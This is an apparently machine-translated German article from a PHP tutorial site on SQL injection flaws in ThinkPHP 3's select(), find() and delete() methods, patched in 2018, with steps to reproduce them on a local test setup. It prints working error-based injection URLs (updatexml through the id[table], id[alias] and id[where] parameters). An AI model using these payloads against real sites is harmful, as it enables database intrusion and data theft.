Heim >PHP-Framework >Denken Sie an PHP >Gibt es eine Sicherheitslücke in thinkphp3?
Gibt es eine Sicherheitslücke in thinkphp3?
thinkphp3 ist anfällig, aber am Donnerstag, 23. August 2018 um 11:25 Uhr Pekinger Zeit, hat das tp-Team ein Sicherheitsupdate für die thinkphp 3-Serie durchgeführt, das nach der Analyse nicht mehr aktualisiert wird Korrigiert mehrere SQL-Injection-Risiken, die durch die Methoden select(), find() und delete() verursacht werden, die Daten vom Typ Array übergeben können.
Wiederkehr der Sicherheitslücke 0x01
Laden Sie den Quellcode herunter: git clone https://github.com/top-think/thinkphp.git
Verwenden Sie den Befehl „git checkout“, um die Version auf den letzten Commit zurückzusetzen: git checkout 109bf30254a38651c21837633d9293a4065c300b
Verwenden Sie integrierte Tools wie phpstudy, um thinkphp zu erstellen, und ändern Sie die Apache-Konfigurationsdatei httpd-conf
DocumentRoot "" in das Verzeichnis, in dem sich thinkphp befindet.
Starten Sie phpstudy neu, greifen Sie auf 127.0.0.1 zu und geben Sie die Willkommensnachricht von thinkphp aus, die anzeigt, dass thinkphp normal ausgeführt wird.
Erstellen Sie eine Datenbank, die Datenbank ist tptest, die Tabelle ist Benutzer, es gibt drei Felder in der Tabelle: ID, Benutzername, Pass
Ändern Sie die Konfigurationsdatei ApplicationCommonConfconfig.php und fügen Sie Datenbankkonfigurationsinformationen hinzu. Fügen Sie nach
den folgenden Code in ApplicationHomeControllerIndexController.class.php hinzu:
public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }
Für die Methoden select() und find() gibt es viele Stellen Beachten Sie, dass hier hauptsächlich drei Tabellen, Alias, aufgeführt sind. Weitere Informationen finden Sie in den verschiedenen parseXXX-Methoden von parseSql, z. B. „Having“, „Group“ usw.
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
Das Gleiche gilt für die Methode delete(): Hier sind drei grobe Beispiele: Tabelle, Alias und Wo Stellen Sie sicher, wo Nicht leer (der detaillierte Grund wird später besprochen)
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
Durch den Vergleich der Commits auf Github können wir ungefähr wissen, dass sich dieses Update hauptsächlich in ThinkPHP/Library/ befindet. Think/Model In der Datei .class.php wurden die drei Funktionen „Löschen“, „Suchen“ und „Auswählen“ geändert.
Das obige ist der detaillierte Inhalt vonGibt es eine Sicherheitslücke in thinkphp3?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!